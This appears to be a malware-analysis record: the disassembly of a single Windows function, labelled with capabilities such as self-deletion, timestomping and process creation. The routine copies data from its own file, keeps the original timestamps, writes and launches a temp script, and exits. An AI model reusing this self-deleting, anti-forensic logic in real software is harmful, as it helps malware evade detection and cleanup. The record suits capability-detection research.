Function at 0x407a28
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size
Read file on windows
Self delete
Timestomp file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x57
push 0
push 0
dec ecx
jne 0x407a30
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x407dfd
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x298]
xor eax, eax
call fcn.004026c4
mov eax, dword [ebp - 0x298]
mov edx, 0x40
call fcn.004048fc
mov esi, eax
cmp esi, 0xffffffff
je 0x407dd2
push 0
push esi
call sub.kernel32.dll_GetFileSize
cmp eax, dword [0x40c7fc]
setg bl
test bl, bl
je 0x407dcc
lea edx, [ebp - 0x29c]
xor eax, eax
call fcn.004026c4
mov edx, dword [ebp - 0x29c]
lea eax, [ebp - 0x14]
mov ecx, 0x407e18
call fcn.0040337c
mov eax, dword [ebp - 0x14]
call fcn.00403530
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x14]
call fcn.004048ec
test al, al
jne 0x407dcc
mov eax, dword [ebp - 0x14]
call fcn.00404960
mov edi, eax
cmp edi, 0xffffffff
je 0x407dcc
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x2a0]
call fcn.004065a8
mov edx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x10]
mov ecx, 0x407e28
call fcn.0040337c
mov eax, dword [ebp - 0x10]
call fcn.00404960
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x407b7d
mov eax, dword [0x40c7fc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x407b6e
push 0
lea eax, [ebp - 8]
push eax
mov edx, 0x100000
mov eax, dword [ebp - 0xc]
call fcn.00407810
push eax
mov eax, dword [0x40c7e8]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x407b6e
mov eax, dword [ebp - 8]
sub dword [ebp - 0xc], eax
mov edx, dword [0x40c7e8]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00404984
cmp dword [ebp - 0xc], 0
ja 0x407b2b
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x35], 1
jmp 0x407b81
mov byte [ebp - 0x35], 0
push 0
push 0
mov eax, dword [0x40c7fc]
push eax
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push 0x100000
mov eax, dword [0x40c7e8]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x407bc0
mov edx, dword [0x40c7e8]
mov ecx, dword [ebp - 8]
mov eax, edi
call fcn.00404984
jmp 0x407b91
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call sub.kernel32.dll_SetFileTime
push edi
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x13a], 0
lea eax, [ebp - 0x13a]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
mov byte [ebp - 0x23f], 0
lea eax, [ebp - 0x23f]
push eax
push 0
push 0x407e34
lea eax, [ebp - 0x13a]
push eax
call sub.kernel32.dll_GetTempFileNameA
lea eax, [ebp - 0x2a4]
lea edx, [ebp - 0x23f]
mov ecx, 0x105
call fcn.00403318
mov eax, dword [ebp - 0x2a4]
lea ecx, [ebp - 0x18]
mov edx, 0x407e44
call fcn.004049b8
mov eax, dword [ebp - 0x18]
call fcn.00403530
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x18]
call fcn.00404960
mov edi, eax
cmp edi, 0xffffffff
je 0x407dcc
push 0x407e54
lea edx, [ebp - 0x2a8]
xor eax, eax
call fcn.004026c4
push dword [ebp - 0x2a8]
push 0x407e6c
push 0x407e78
lea edx, [ebp - 0x2ac]
xor eax, eax
call fcn.004026c4
push dword [ebp - 0x2ac]
push 0x407e8c
push 0x407e98
push 0x407eb0
push dword [ebp - 0x14]
push 0x407ec0
lea edx, [ebp - 0x2b4]
xor eax, eax
call fcn.004026c4
mov eax, dword [ebp - 0x2b4]
lea edx, [ebp - 0x2b0]
call fcn.004046e4
push dword [ebp - 0x2b0]
push 0x407e6c
push 0x407e78
push dword [ebp - 0x14]
push 0x407e8c
push 0x407ecc
push 0x407e8c
lea edx, [ebp - 0x2b8]
xor eax, eax
call fcn.004026c4
push dword [ebp - 0x2b8]
push 0x407e6c
push 0x407ee4
push 0x407ef4
push dword [ebp - 0x18]
push 0x407e6c
lea eax, [ebp - 0x1c]
mov edx, 0x17
call fcn.004033f0
mov eax, dword [ebp - 0x1c]
call fcn.00403330
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00403530
mov edx, eax
mov eax, edi
pop ecx
call fcn.00404984
push edi
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x294]
xor ecx, ecx
mov edx, 0x44
call fcn.00402794
mov dword [ebp - 0x268], 1
mov word [ebp - 0x264], 0
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x294]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.00403530
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x407dcc
mov eax, dword [ebp - 0x24c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x250]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [ebp - 0x35], 0
je 0x407dc5
mov eax, dword [0x40c7f8]
push eax
call sub.kernel32.dll_CloseHandle
xor edx, edx
mov eax, dword [ebp - 0x10]
call fcn.00407994
push 0
call sub.kernel32.dll_ExitProcess_1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e04
lea eax, [ebp - 0x2b8]
mov edx, 9
call fcn.00403140
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00403140
ret